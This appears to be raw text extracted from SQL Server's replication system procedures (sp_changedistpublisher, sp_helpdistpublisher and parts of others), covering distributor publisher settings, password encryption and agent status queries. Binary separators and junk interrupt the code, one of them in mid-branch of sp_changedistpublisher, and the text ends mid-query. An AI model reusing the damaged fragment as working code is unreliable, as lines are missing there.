            RAISERROR (14075, 16, -1)  
            GOTO UNDO  
        END

        -- Map all other users to use invalid login/password
        -- User must add any additional mappings via direct calls to sp_addlinkedsrvlogin
        EXEC @retcode = sp_addlinkedsrvlogin	@rmtsrvname		= @publisher,
												@useself		= 'false',
												@locallogin		= null,
												@rmtuser		= null,
												@rmtpassword	= null

        IF @@error <> 0 OR @retcode <> 0  
        BEGIN  
            RAISERROR (14075, 16, -1)  
            GOTO UNDO  
        END
    END  
    
    /*
    ** Set the Active  value.
    ** If the @publisher is local, set it to true.
    ** If the publisher is heterogeneous, set it to true.
    ** Otherwise, set it to false
    */
    IF ((UPPER(@publisher) = UPPER(@@SERVERNAME)) OR (@loc_publisher_type != N'MSSQLSERVER'))
    BEGIN
        SELECT @active_value = 1
    END
    ELSE
    BEGIN
        SELECT @active_value = 0
	END

    DELETE	msdb.dbo.MSdistpublishers
    WHERE	UPPER(name collate database_default) = UPPER(@publisher) collate database_default

    IF @@ERROR <> 0
    BEGIN
        GOTO UNDO       
    END

	-- we must encrypt the password using the distdb certs/keys
    select @enc_password = @password,
		    @proc = QUOTENAME(@distribution_db) + '.sys.sp_MSreplencrypt'

    EXEC @retcode = @proc @enc_password OUTPUT
    IF @@error <> 0 OR @retcode <> 0
    	GOTO UNDO
    	
    -- Distributed transactions won't work with HREPL.
    -- Since data is needed from MSdistpublishers,
    -- insert it here and be sure to clean it up
    -- later if failure occurs.  Normally would use
    -- a transaction
    INSERT INTO msdb.dbo.MSdistpublishers
				(
					name,
					distribution_db,
					working_directory,
					security_mode,
					login,
					password,
					active,
					trusted,
					thirdparty_flag,
					publisher_type
				)
        VALUES  (
					UPPER(@publisher),
					@distribution_db,
					@working_directory,
					@security_mode,
					@login,
					@enc_password, 
					@active_value,
					@trusted_id,
					@thirdparty_flag,
					@loc_publisher_type
				)

    IF @@ERROR <> 0
    BEGIN
        GOTO UNDO       
    END

	-- HREPL: Setup publisher side
	IF @loc_publisher_type IN ('ORACLE', 'ORACLE GATEWAY')
	BEGIN
		SET @distributortimestamp = GETDATE()
		SET @publisher_guid = NEWID()

		EXEC @retcode = sys.sp_ORAaddpublisher
						@publisher		= @publisher,
						@dist_db		= @distribution_db,
						@security_mode	= @security_mode,
						@remotelogin	= @login,
						@remotepassword	= @password,
						@distributortimestamp	= @distributortimestamp,
						@publisher_guid	= @publisher_guid

		IF @@ERROR <> 0 OR @retcode <> 0
		BEGIN
			DELETE	msdb.dbo.MSdistpublishers
			WHERE	UPPER(name collate database_default) = UPPER(@publisher) collate database_default

			GOTO UNDO
		END

		-- Set the SQL version in the Oracle package
		EXEC @retcode = sys.sp_setOraclepackageversion @publisher = @publisher
		
		if @@ERROR <> 0 or @retcode <> 0
		BEGIN
			DELETE	msdb.dbo.MSdistpublishers
			WHERE	UPPER(name collate database_default) = UPPER(@publisher) collate database_default
			RAISERROR (21647, 16, -1)

			GOTO UNDO
		END

	END   

    -- If this is a heterogeneous publisher then add it to the heterogeneous publisher table
    -- this will 'mark' this publisher as heterogeneous
    -- Also connects to the het pub to validate and enable it as a publisher
    IF NOT @loc_publisher_type = N'MSSQLSERVER'
    BEGIN
        EXEC @retcode = sys.sp_IHaddpublisher	@publisher	= @publisher,
												@vendor		= @vendor,
												@distributortimestamp	= @distributortimestamp,
												@publisher_guid	= @publisher_guid
        if @@ERROR <> 0 or @retcode <> 0
        BEGIN
			DELETE	msdb.dbo.MSdistpublishers
			WHERE	UPPER(name collate database_default) = UPPER(@publisher) collate database_default

            GOTO UNDO         
        END

		-- Add expired subscription cleanup job and alerts
		EXEC @retcode = sys.sp_MSrepl_add_expired_sub_cleanup_job @publisher
		
        IF @@ERROR <> 0 or @retcode <> 0
        BEGIN
        	GOTO UNDO
        END
	END

    IF @loc_publisher_type = N'MSSQLSERVER'
    BEGIN
        -- Add distributor_admin to distribution_admin non trusted mapping
        exec @fExists = sys.sp_MSIfExistsRemoteLogin @publisher, null, 
            'distributor_admin'
        if( @fExists = 0 )
        BEGIN
            EXECUTE @retcode = sys.sp_addremotelogin @publisher, 'distributor_admin', 
                'distributor_admin'
            IF @@error <> 0 OR @retcode <> 0
            BEGIN
                RAISERROR (14075, 16, -1)
                GOTO UNDO
            END
        END

        if @trusted_id = 1
        begin
            exec @fExists = sys.sp_MSIfExistsRemoteLogin @publisher, 'distributor_admin', @sa_login
            if( @fExists = 1 )
            BEGIN
                EXECUTE @retcode = sys.sp_remoteoption @publisher, 'distributor_admin', @sa_login, trusted, true
                IF @@error <> 0 OR @retcode <> 0
                BEGIN
                    RAISERROR (14075, 16, -1)
                    GOTO UNDO
                END
            END

            EXECUTE @retcode = sys.sp_remoteoption @publisher, 'distributor_admin', 'distributor_admin', trusted, true
            IF @@error <> 0 OR @retcode <> 0
            BEGIN
                RAISERROR (14075, 16, -1)
                GOTO UNDO
            END
        END
    END

    RETURN(0)

UNDO:
    -- If the server is marked, drop it
    IF EXISTS
    (
    	SELECT	*
		FROM	msdb..MSdistpublishers
        WHERE	UPPER(name collate database_default) = UPPER(@publisher) collate database_default
	)
	BEGIN
		EXEC sys.sp_dropdistpublisher @publisher
	END

    IF @server_added = 1
    BEGIN
    	-- get the servername that was persisted in the sysservers table
    	SELECT @publisher = sys.fn_getpersistedservernamecasevariation(@publisher) collate database_default
    
		IF @loc_publisher_type = N'MSSQLSERVER'
		BEGIN
			EXEC sys.sp_dropserver @publisher
		END
		ELSE
		BEGIN
			EXEC sys.sp_dropserver @server = @publisher, @droplogins = 'droplogins'
		END
	END

    RETURN(1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(n-g"v,
create procedure sys.sp_changedistpublisher (
    @publisher sysname,
    @property sysname     = NULL,     /* The property to change */
    @value nvarchar(255)     = NULL      /* The new property value */
    ) AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    DECLARE @retcode			int
    DECLARE @new_security_mode	int
    DECLARE @new_login			sysname
    DECLARE @new_password		nvarchar(524)
    DECLARE @distbit			int
    DECLARE @new_active			int
    DECLARE @command			nvarchar(524)
	DECLARE @dyn_command		nvarchar(MAX)
    declare @distribdb			sysname
    DECLARE @platform_nt		binary
    DECLARE @publisher_type		sysname
    DECLARE @publisher_id		int
	
    SELECT @platform_nt = 0x1
    SELECT @distbit = 16
    
    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    /*
    ** Parameter Check:  @property.
    ** If the @property parameter is NULL, print the options.
    */

    IF @property IS NULL
        BEGIN
            CREATE TABLE #tab1 (properties sysname collate database_default not null)
            INSERT INTO #tab1 VALUES ('distribution_db')
            INSERT INTO #tab1 VALUES ('working_directory')
            INSERT INTO #tab1 VALUES ('security_mode')
            INSERT INTO #tab1 VALUES ('login')
            INSERT INTO #tab1 VALUES ('password')
            INSERT INTO #tab1 VALUES ('active')
            INSERT INTO #tab1 VALUES ('trusted')
            SELECT * FROM #tab1
            RETURN (0)
        END

    /*
    ** Parameter Check:  @property.
    ** Check to make sure that @property is a valid property in
    ** msdb.dbo.MSdistpublishers.
    */
    IF @property IS NULL OR LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) NOT IN 
        ('distribution_db',
         'working_directory',
         'security_mode',
         'login',
         'password',
         'active',
         'trusted')
        BEGIN
            RAISERROR (14115, 16, -1, 
            '''distribution_db'', ''working_directory'', ''security_mode'', ''login'', ''password'', ''active'', or ''trusted''')
            RETURN (1)
        END

    /*
    ** Check to make sure this is a distributor
    */
    IF NOT EXISTS (SELECT * FROM master.dbo.sysservers
              WHERE UPPER(datasource collate database_default) = UPPER(@@SERVERNAME) collate database_default
                 AND srvstatus & 8 <> 0)
    BEGIN
        RAISERROR (14114, 16, -1, @@SERVERNAME)
        RETURN(1)
    END

	-- Get publisher type
	EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @publisher      = @publisher,
													 @publisher_type = @publisher_type OUTPUT

	IF (@retcode <> 0) OR (@publisher_type IS NULL)
	BEGIN
		RAISERROR(21169, 16, -1, @publisher, @@SERVERNAME, @publisher)
		RETURN (@retcode)
	END

    -- Get the distribution db name.
    SELECT	@distribdb = distribution_db
    FROM	msdb..MSdistpublishers
    WHERE	UPPER(name collate database_default) = UPPER(@publisher) collate database_default

	-- Reject unsupported HREPL properties
	IF @publisher_type != N'MSSQLSERVER'
	BEGIN
		IF  LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) IN ('trusted')
		BEGIN
			RAISERROR(21649, 16, -1, @property)
			RETURN(1)
		END
	END

	-- retrieve the publisher id
	SELECT @publisher_id = server_id 
		FROM sys.servers
		WHERE UPPER(name collate database_default) = UPPER(@publisher) collate database_default
    /*
    ** Change the property.
    */
    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'distribution_db'
        BEGIN
            IF @value IS NULL
                BEGIN
                    RAISERROR (14043, 16, -1, '@value', 'sp_changedistpublisher')
                    RETURN (1)
                END

            IF @value <> @distribdb and 
                EXISTS (SELECT * FROM msdb.dbo.MSdistpublishers WHERE
                UPPER(name collate database_default) = UPPER(@publisher) collate database_default and active = 1)
            BEGIN
                RAISERROR (21046, 16, -1)
                RETURN (1)
            END

            /*
            ** Check if database is configured as a distributor database
            */
            IF NOT EXISTS (SELECT * FROM master.dbo.sysdatabases
              WHERE name = @value collate database_default
                 AND category & @distbit <> 0)
                BEGIN
                    RAISERROR (14117, 16, -1, @value)
                    RETURN(1)
                END

            UPDATE msdb..MSdistpublishers SET distribution_db = @value
                WHERE UPPER(name collate database_default) = UPPER(@publisher) collate database_default
            IF @@error <> 0 
                BEGIN
                    RETURN (1)
                END
        END
   
    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'working_directory'
        BEGIN
            IF @value IS NULL
                BEGIN
                    RAISERROR (14043, 16, -1, '@value', 'sp_changedistpublisher')
                    RETURN (1)
                END

            
            -- Validate the working directory 
            -- Remove heading and trailing spaces
            select @value = RTRIM(LTRIM(@value))

            -- if the last char is '\', remove it.

            if substring(@value, len(@value),1) = '\'
                select @value = substring(@value, 1,
                    len(@value)-1)

            -- Don't do validation if it is a UNC path due to security problem.
            -- If the server is started as a service using local system account, we
            -- don't have access to the UNC path.
            if substring(@value, 1,2) <> '\\'
            begin
                select @command = 'dir "' + sys.fn_escapecmdshellsymbolsremovequotes(@value) collate database_default + '"'
                exec @retcode = master.dbo.xp_cmdshell @command, 'no_output'
                if @@error <> 0
                    return 1
                if @retcode <> 0 
                begin
                    raiserror (21037, 16, -1, @value)
                    return 1
                end
            end

            UPDATE msdb..MSdistpublishers SET working_directory = @value
                WHERE UPPER(name collate database_default) = UPPER(@publisher) collate database_default
            IF @@error <> 0 
                BEGIN
                    RETURN (1)
                END
        END

    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'security_mode'
        BEGIN
            IF @value IS NULL
                BEGIN
                    RAISERROR (14043, 16, -1, '@value', 'sp_changedistpublisher')
                    RETURN (1)
                END

			-- HREPL: Reject security_mode changes
			IF @publisher_type != N'MSSQLSERVER'
			BEGIN
				RAISERROR(21649, 16, -1, 'security_mode')
				RETURN (1)
			END

            /*
            ** Set the SecurityMode registry key value
            */
            SELECT @new_security_mode = CONVERT(int, @value)

            /* 
            ** Check for invalid values 
            */
            IF @new_security_mode < 0 OR @new_security_mode > 1
                BEGIN
                    RAISERROR(14109, 16, -1)
                    RETURN (1)
                END

            IF (UPPER(@publisher) = UPPER(@@SERVERNAME) and ( @platform_nt != platform() & @platform_nt ) and @new_security_mode = 1)
            BEGIN
                RAISERROR(21038, 16, -1)
                RETURN (1)
            END

			-- Security Mode 1 
			IF @new_security_mode = 1
			BEGIN
				SELECT @new_password = newid(),
						@command = QUOTENAME(@distribdb) + '.sys.sp_MSreplencrypt'
						
			    EXEC @retcode = @command @new_password OUTPUT
			    IF @@error <> 0 OR @retcode <> 0
		!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
in-	,
    		RETURN (1)    	

	            UPDATE msdb..MSdistpublishers 
	            	SET security_mode = 1,
	            		login = N'',
	            		password = @new_password
	                WHERE UPPER(name collate database_default) = UPPER(@publisher) collate database_default
	            IF @@error <> 0 
                    RETURN (1)
			END
			-- Security Mode 0
			ELSE
			BEGIN
				UPDATE msdb..MSdistpublishers 
	            	SET security_mode = 0
	                WHERE UPPER(name collate database_default) = UPPER(@publisher) collate database_default
	            IF @@error <> 0 
                    RETURN (1)
			END
		END

    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'login'
        BEGIN
            IF @value IS NULL
			BEGIN
				RAISERROR (14043, 16, -1, '@value', 'sp_changedistpublisher')
				RETURN (1)
			END
			
			-- HREPL: Reject login changes
			IF @publisher_type != N'MSSQLSERVER'
			BEGIN
				RAISERROR(21649, 16, -1, 'login')
				RETURN (1)
			END

            /*
            ** Set the Login registry key value
            */
            SELECT @new_login = CONVERT(sysname, @value)

            UPDATE msdb..MSdistpublishers SET login = @new_login
                WHERE UPPER(name collate database_default) = UPPER(@publisher) collate database_default
            IF @@error <> 0 
			BEGIN
				RETURN (1)
			END
        END

    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'password'
        BEGIN
            -- Set the Password registry key value
            SELECT @new_password = CONVERT(nvarchar(524), @value)

			-- HREPL: Verify password
			IF @publisher_type != N'MSSQLSERVER'
			BEGIN
				DECLARE @remote_login sysname
				
				-- Get login
				SELECT	@remote_login	= login
				FROM	msdb..MSdistpublishers
				WHERE	UPPER(name collate database_default) = UPPER(@publisher) collate database_default
						AND security_mode = 0

				IF @remote_login IS NOT NULL
				BEGIN
					EXEC @retcode = sys.sp_MSchangerepllinkedsrvrpassword @server       = @publisher,
																		  @remote_login = @remote_login,
																		  @new_password = @new_password,
																		  @server_type  = @publisher_type
					IF @@error <> 0 OR @retcode <> 0
	                	RETURN (1)
	            END
			END

            -- Encrypt the password, must use the distdb certs/keys
            SELECT @command = QUOTENAME(@distribdb) + '.sys.sp_MSreplencrypt'
            
		    EXEC @retcode = @command @new_password OUTPUT
		    IF @@error <> 0 OR @retcode <> 0
	    		RETURN (1)    	
	    		
            UPDATE msdb..MSdistpublishers SET password = @new_password
                WHERE UPPER(name collate database_default) = UPPER(@publisher) collate database_default
            IF @@error <> 0 
                BEGIN
                    RETURN (1)
                END
         END

    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'active'
        BEGIN
            /*
            ** Check for a valid  value.
            */

			IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
			BEGIN
			    RAISERROR (14137, 16, -1)
			    RETURN (1)
			END
			IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
			begin
				SELECT @new_active = 1
			end
			ELSE
			BEGIN
				SELECT @new_active = 0
			END

			/*
			** Set the Active registry key value
			*/
			UPDATE msdb..MSdistpublishers SET active = @new_active
				WHERE UPPER(name collate database_default) = UPPER(@publisher) collate database_default
			IF @@error <> 0
			BEGIN
			    RETURN (1)
			END

        END

    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'trusted'
    BEGIN
        --
        -- Check for a valid  value.
        --
        IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14137, 16, -1)
            RETURN (1)
        END
        
		-- DEPRECATED OPTION: trusted
		-- For security reasons, trusted is no longer supported.
		-- Implicitly, it must always be trusted == false.  If
		-- anything other than false is supplied, an error is thrown.
        IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
		BEGIN
			RAISERROR(21698, 16, -1, 'trusted')
			RETURN (1)
		END

		-- IF TRUSTED == FALSE, do nothing since this is no longer supported.
    END

  
    /*
    ** Return succeed.
    */
    RAISERROR (21035, 10, -1, @property)

DONE:    
    RETURN (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(-Rvo]create procedure sys.sp_helpdistpublisher
(
    @publisher sysname = N'%',
    @check_user bit = 0               -- filter entries for distribution dbs where user is a owner
) 
AS
BEGIN
    SET NOCOUNT ON

    declare @username sysname
                ,@command nvarchar(4000)
                ,@fallowaccess bit
                ,@db_name sysname
                ,@cmdproc nvarchar(1000)
                ,@has_pm bit
                ,@distbit int
                ,@retcode int
                ,@publisher_name sysname
    -- this will be used for user check
    declare @distdbs table (publisher sysname, name sysname, primary key(publisher,name))
    declare @MSdistlogins table (
        name sysname
        ,distribution_db sysname
        ,login sysname
        ,password nvarchar(524)
        ,primary key(name, distribution_db, login))

    --
    -- create temp table for collection of distribution dbs
    -- this will be used for user check
    --
    /*
    if object_id('tempdb..#distdbs') is not NULL
    begin
		drop table #distdbs
    end
    
    create table #distdbs (publisher sysname collate database_default, name sysname collate database_default)

	if object_id('tempdb..#MSdistlogins') is not NULL
    begin
		drop table #MSdistlogins
    end

    create table #MSdistlogins (name sysname, distribution_db sysname, login sysname, password nvarchar(524))
    */
 
    --
    -- @publisher : validate
    --
    IF @publisher IS null
    begin
        raiserror (14043, 16, -1, '@publisher', 'sp_helpdistpublisher')
        return (1)
    end
    --
    -- Check to make sure this is a distributor
    --
    IF NOT EXISTS (select * from master.sys.servers
              where UPPER(data_source collate database_default) = UPPER(@@SERVERNAME)
                 AND is_distributor = 1)
    begin
        if @publisher <> N'%' 
        begin
                raiserror (14114, 16, -1, @@SERVERNAME)
                return(1)
        end
        else
            return(0)
    end

    IF @publisher <> N'%' AND NOT EXISTS (select * from msdb.dbo.MSdistpublishers
            where name collate database_default = UPPER(@publisher))
    begin
        raiserror (14080, 11, -1, @publisher)
        return (1)
    end
    --
    -- allow access to login information if running as sysadmin
    -- If sysadmin, no need for filtering - override the input for user check
    --
    if (is_srvrolemember(N'sysadmin') = 1)
        select @fallowaccess = 1 ,@check_user = 0
    else
        select @fallowaccess = 0, @check_user = 1 -- Force nonsysadmin user to be always checked
    --
    -- Processing for non sysadmin user
    --
    if (@fallowaccess = 0 and @check_user = 1)
    begin
        --
        -- Has publisher been specified
        --
        if (@publisher <> N'%')
        begin
            --
            -- doing specific publisher query.
            -- force a dbowner check in the specific distribution db        
            --
            select @db_name = distribution_db
            from msdb.dbo.MSdistpublishers
            where name collate database_default = UPPER(@publisher)

            select @cmdproc = quotename(@db_name) + N'.sys.sp_executesql'
                            , @has_pm = 0
            exec @cmdproc N'if is_member(N''db_owner'') = 1 set @has_pm = 1', 
                            N'@has_pm bit output',
                            @has_pm output
            if @@ERROR <> 0
                return(1)
            --
            -- if we are the DBO of the specific distribution db AND we are issuing the
            -- query from a replication agent - then allow access to login info for specific
            -- publisher case - Queue reader agent does this
            --
            if (@has_pm = 1 and sessionproperty(N'replication_agent') = 1)
                select @fallowaccess = 1

            -- if no access yet, see if the user is 'repl_monitor',
            -- or in the PAL for any publications associated with this publisher
            if @has_pm = 0
            begin
                select @cmdproc = quotename(@db_name) + N'.sys.sp_MSrepl_DistDBPALAccess'
                exec @retcode = @cmdproc
                    @publisher = @publisher

                if @@ERROR <> 0
                    return(1)

                if @retcode = 0
                BEGIN
                    select @has_pm = 1
                END
                ELSE
                BEGIN
                    -- Security: avoid info disclosure for users that don't have access.
                    -- Return publisher doesn't exist instead of empty set
                    raiserror (14080, 11, -1, @publisher)
                    return (1)
                END
            end
            --
            -- If use has permissions then store this db_name
            --
            if ((@has_pm = 1) or (sessionproperty(N'replication_agent') = 1))
                insert into @distdbs (publisher, name) values (upper(@publisher), @db_name)
        end
        else 
        begin
            --
            -- publisher not specified and user check enabled
            -- perform db owner check for distribution dbs
            --
            declare #hCdatabase CURSOR LOCAL FAST_FORWARD FOR
                select msdp.name,
                        msdp.distribution_db
                from msdb.dbo.MSdistpublishers msdp
                    join master.sys.databases sysdb
                        on msdp.distribution_db collate database_default = sysdb.name collate database_default
                            and sysdb.is_distributor = 1 
                            and has_dbaccess(sysdb.name) = 1
            for read only

            open #hCdatabase
            fetch next from #hCdatabase into @publisher_name, @db_name
            while (@@fetch_status <> -1)
            begin
                -- Allow access if the user is 'db_owner', 'replmonitor' or in the PAL for any
                -- publications associated with any publisher using this distribution database
                begin
                    select @cmdproc = quotename(@db_name) + N'.sys.sp_MSrepl_DistDBPALAccess'
                    exec @retcode = @cmdproc @publisher = @publisher_name
                    if @@ERROR <> 0
                        return(1)

                    if @retcode = 0
                        insert into @distdbs (publisher, name) values (upper(@publisher_name), @db_name)
                end
                -- fetch next entry
                fetch next from #hCdatabase into @publisher_name, @db_name
            end
            close #hCdatabase
            deallocate #hCdatabase
        end -- publisher not specified
    end -- if (@fallowaccess = 0 and @check_user = 1) block

    -- load the logins table
    insert into @MSdistlogins (name, distribution_db, login, password)
        SELECT name, distribution_db, login, sys.fn_repldecryptver4(password)
        FROM msdb.dbo.MSdistpublishers

    /*
    declare #curDistDB CURSOR LOCAL FAST_FORWARD FOR
        select name,
                distribution_db
        from msdb.dbo.MSdistpublishers

    open #curDistDB

    fetch next from #curDistDB into @publisher_name, @db_name
    while (@@fetch_status <> -1)
    begin
        select @command = QUOTENAME(@db_name) + N'.sys.sp_MShelpdistpublisher'

        insert into @MSdistlogins
            exec @command @publisher = @publisher_name, @db_name
        if @@ERROR <> 0 return(1)
        -- fetch next entry
        fetch next from #curDistDB into @publisher_name, @db_name
    end
    close #curDistDB
    deallocate #curDistDB
    */
    
    --
    -- Generate result query
    --
    SELECT  p.name,
                p.distribution_db,
                p.security_mode, 
                -- Not to return login unless allowed access.
         !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(4.0vfcreate procedure sys.sp_MSenum_replication_status
(
    @agent_type int = 0
)
as
begin
    set nocount on
    declare @anonymous_mask int,
                @all_but_misc_agents int,
                @all_agents int,
                @snapshot_agent int,
                @logreader_agent int,
                @distrib_agent int,
                @merge_agent int,
                @queue_agent int,
                @misc_agent int

    select @anonymous_mask = 0x80000000,
                @all_but_misc_agents = -1,
                @all_agents = 0,
                @snapshot_agent = 1,
                @logreader_agent = 2,
                @distrib_agent = 3,
                @merge_agent = 4,
                @queue_agent = 9,
                @misc_agent = 5

    -- if we want all agents excluding the misc agents then 
    -- that is the same as requesting all of the agents since
    -- in this proc we do not do any work on misc agents
    if @agent_type = @all_but_misc_agents
    begin
        select @agent_type = @all_agents
    end

    ------------------------------
    -- SNAPSHOT AGENT STATUS
    ------------------------------
    (  select 'publisher' 		= upper(ss.srvname collate database_default), 
            'publisher_db' 		= mssa.publisher_db, 
            'publication' 		= mssa.publication, 
            'publication_type' 	= mssa.publication_type,
            'agent_type' 		= @snapshot_agent, 
            'status' 			= mssh.runstatus,
            'agent_id' 		       = mssa.id,
            'agent_name' 		= mssa.name,
            'job_id'            = cast(mssa.job_id as uniqueidentifier),
            'time_stamp' 		= mssh.time,
            'publisher_srvid'	= ss.srvid
    from master.dbo.sysservers ss with (nolock),
            dbo.MSsnapshot_history mssh with (nolock),  
            dbo.MSsnapshot_agents mssa with (nolock)
    where @agent_type in (@all_agents, @snapshot_agent) 
            and ss.srvid = mssa.publisher_id
            and mssh.agent_id = mssa.id 
            and mssh.timestamp = (select max(timestamp) 
                                                from dbo.MSsnapshot_history mssh2 with (nolock)
                                                where mssh2.agent_id = mssa.id)

    UNION

    select upper(ss.srvname collate database_default), 
            mssa.publisher_db, 
            mssa.publication, 
            mssa.publication_type,
            @snapshot_agent, 
            0,
            mssa.id,
            mssa.name,
            cast(mssa.job_id as uniqueidentifier),
            null,
            'publisher_srvid'	= ss.srvid
    from master.dbo.sysservers ss with (nolock),
            dbo.MSsnapshot_agents mssa with (nolock)
    where @agent_type in (@all_agents, @snapshot_agent) 
            and ss.srvid = mssa.publisher_id 
            and not exists (select * 
                                    from dbo.MSsnapshot_history mssh with (nolock)
                                    where mssh.agent_id = mssa.id)
    )
    ------------------------------
    -- LOGREADER AGENT STATUS
    ------------------------------
    UNION ALL

    (    select upper(ss.srvname collate database_default), 
            msla.publisher_db, 
            'ALL', 
            0, 
            @logreader_agent, 
            mslh.runstatus, 
            msla.id,
            msla.name,
            cast(msla.job_id as uniqueidentifier),
            mslh.time,
            'publisher_srvid'	= ss.srvid
    from master.dbo.sysservers ss with (nolock), 
            dbo.MSlogreader_history mslh with (nolock), 
            dbo.MSlogreader_agents msla with (nolock)
    where @agent_type in (@all_agents, @logreader_agent) 
            and ss.srvid = msla.publisher_id
            and mslh.agent_id = msla.id
            and mslh.timestamp = (select max(timestamp) 
                                                from dbo.MSlogreader_history mslh2 with (nolock)
                                                where mslh2.agent_id = msla.id)
            
    UNION
   
    select upper(ss.srvname collate database_default), 
            msla.publisher_db, 
            'ALL', 
            0, 
            @logreader_agent, 
            0, 
            msla.id,
            msla.name,
            cast(msla.job_id as uniqueidentifier),
            NULL,
            'publisher_srvid'	= ss.srvid
    from master.dbo.sysservers ss with (nolock),
            dbo.MSlogreader_agents msla with (nolock)
    where @agent_type in (@all_agents, @logreader_agent) 
            and ss.srvid = msla.publisher_id 
            and not exists (select * 
                                    from dbo.MSlogreader_history mslh with (nolock)
                                    where mslh.agent_id = msla.id)
    )
    ------------------------------
    -- DISTRIBUTION AGENT STATUS
    ------------------------------
    UNION ALL
    (
    -- Normal agents with or without history
    select distinct upper(ss.srvname collate database_default), 
                msda.publisher_db, 
                msp.publication, 
                msp.publication_type, 
                N'agent_type' = @distrib_agent,
                N'runstatus' = isnull(msdh.runstatus,0), 
                msda.id,
                msda.name,
